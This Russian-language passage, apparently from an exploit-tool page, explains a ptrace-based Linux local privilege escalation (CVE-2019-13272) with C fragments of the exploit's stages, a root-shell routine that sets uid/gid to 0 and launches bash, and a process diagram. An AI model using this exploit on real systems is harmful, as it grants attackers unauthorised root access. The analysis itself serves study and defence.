Функция force_exec_and_wait заключается в использовании ptrace для управления tracee для выполнения функции execveat, чтобы заменить образ процесса. Здесь она управляет задачей B, чтобы она выполнила процесс задачи A (т.е. исполняемый файл эксплойта — бинарный файл эксплойта) с параметром stage2, чтобы задача B выполнила функцию middle_stage2.``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();

root@kitploit:~
Функция middle_stage2 также вызывает force_exec_and_wait, что заставит задачу B использовать ptrace для управления задачей C, чтобы выполнить функцию execveat, заменив образ задачи C двоичным файлом эксплойта и параметром stage3.``` c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

Когда бинарный файл эксплойта запускается с параметром stage3, он запускает функцию spawn_shell, поэтому последним этапом задачи C является запуск spawn_shell.``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }

root@kitploit:~
В функции spawn_shell, сначала используется setresgid/setresuid для изменения real uid/effective uid/save uid процесса на root. Поскольку task C только что выполнил suid binary и изменил свой euid на root, здесь setresuid/setresgid могут быть выполнены успешно. На этом этапе task C становится полноценным root процессом. Наконец, выполняется execlp для открытия shell, и этот shell будет иметь все привилегии root.``` go
       	     forks               forks
+------proc_A -----------> proc_B ------------> proc_C
|       |                   |                    |
|     Wait B                |                    |
|     And attach            |                    |
|     Execve stage 2 in B   |                    |
+-------+-------------------+--------------------+
stage 1 |                 pkexec              get privileged tracer
|       |                   |                    |
|       |                   |                    |
|       |                 Unprivileged        exec SUID binary,
|       |                 Traced by A         become privileged, SIGTRAPed
+-------+-------------------+--------------------+
|       |                   |                    |
stage 2 |                 Wait C,                |
|       |                 Execve stage3 in C     |
|       |                   |                    |
+-------+-------------------+--------------------+
|       |                   |                    |
|       |                   |                    |
stage 3 |                   |                 setresuid to 0, 0, 0
|       |                   |                    |
|       |                   |                 exeve bash as root :)
+-------+-------------------+--------------------+

Ссылки

https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html

DatntSec. Viettel Cyber Security.

Скачать инструмент